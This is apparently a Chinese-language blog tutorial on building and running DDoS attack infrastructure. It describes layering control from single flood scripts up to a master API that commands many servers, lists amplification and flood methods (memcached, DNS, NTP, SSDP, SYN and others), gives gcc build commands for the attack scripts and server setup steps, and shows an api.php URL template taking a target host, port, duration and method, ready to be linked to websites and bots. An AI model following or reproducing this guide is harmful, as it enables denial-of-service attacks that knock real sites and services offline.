首先你要有发包机或者服务器还要有足够的流量当我们获取到足够流量的时候就需要对流量进行管理和分配
DDOS流量的管理可以分为以下三大类,分别是单一DDOS脚本控制,单个API接口控制多个DDOS脚本和单个CMS或者API控制多个API接口。单一DDOS脚本控制 这类流量控制是最简单的,属于一个拒绝服务攻击(DOS),还不能称之为分布式拒绝服务攻击(DDOS)。
黑客通过源代码编译好一个脚本后直接对目标站点进行攻击。这种控制方式主要运营在压力测试模拟阶段上,并不会用作真正的DDOS攻击。
因为流量过小,攻击方式过于单一单个API接口控制多个DDOS脚本 这时安全研究人员为了使攻击复杂化,也为了方便流量的管理。
这个时候会编译一个API接口来统一管理全部的DDOS流量。
单个CMS或者API控制多个API接口 在DDOS攻击里面,我们需要用到众多的服务器,那么单个API已经不能满足我们的需求了。这时每个服务器都会有一个自己的API接口,于是我们又会再去重新编写一个API接口来管理全部服务器的API接口。在攻击目标站点的时候,只需要一个命令,全部的服务器都会对目标站点展开各种各样的DDOS攻击DDOS脚本介绍DDOS攻击分为Layer4和Layer7两个大类,并且每个Layer都有很多种攻击方式,今天我们就来说一下怎么使用这些DDOS攻击脚本。编译脚本文件基本的DDOS脚本文件全部都是由C++所编写,所以在Linux上用gcc来对脚本进行编译。
使用以下命令对源代码进行编译gcc 脚本名称.c -o 脚本名称 -lpthread 或者 gcc 脚本名称.c -lpthread -lpcap -o 脚本名称
编译完成后需要对该脚本赋予足够的权限 chmod 755
脚本名称常用DDOS攻击方式memc udp syn ack get head ssdp dns ntp snmp post DDOS API搭建输入以下命令进行安装
1.yum -y update
2.yum install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c zmap iptraf nano(或者直接输入yum groupinstall “Development Tools”)
3.yum groupinstall “Development Tools”
4.yum install gcc php-devel php-pear libssh2 libssh2-devel
5.pecl install -f ssh2
6.touch /etc/php.d/ssh2.ini
7.echo extension=ssh2.so > /etc/php.d/ssh2.ini
8.Service httpd restart就这么简单,环境已经搭建完成。然后你需要把API文件,DDOS脚本和AMP列表文件文件放入到你的WEB目录内。环境创建完毕后默认的WEB目录在 /var/www/htmlAPI文件编辑编译好后就是http://服务IP地址/api.php?key=自己设置的Key Code&host=目标地址&time=攻击时间&port=端口&method=攻击方式 举例: http://192.168.1.2/api.php?key=keycode&host=192.168.1.3&time=50&port=80&method=DNS可以对接网站和机器人
暂无评论内容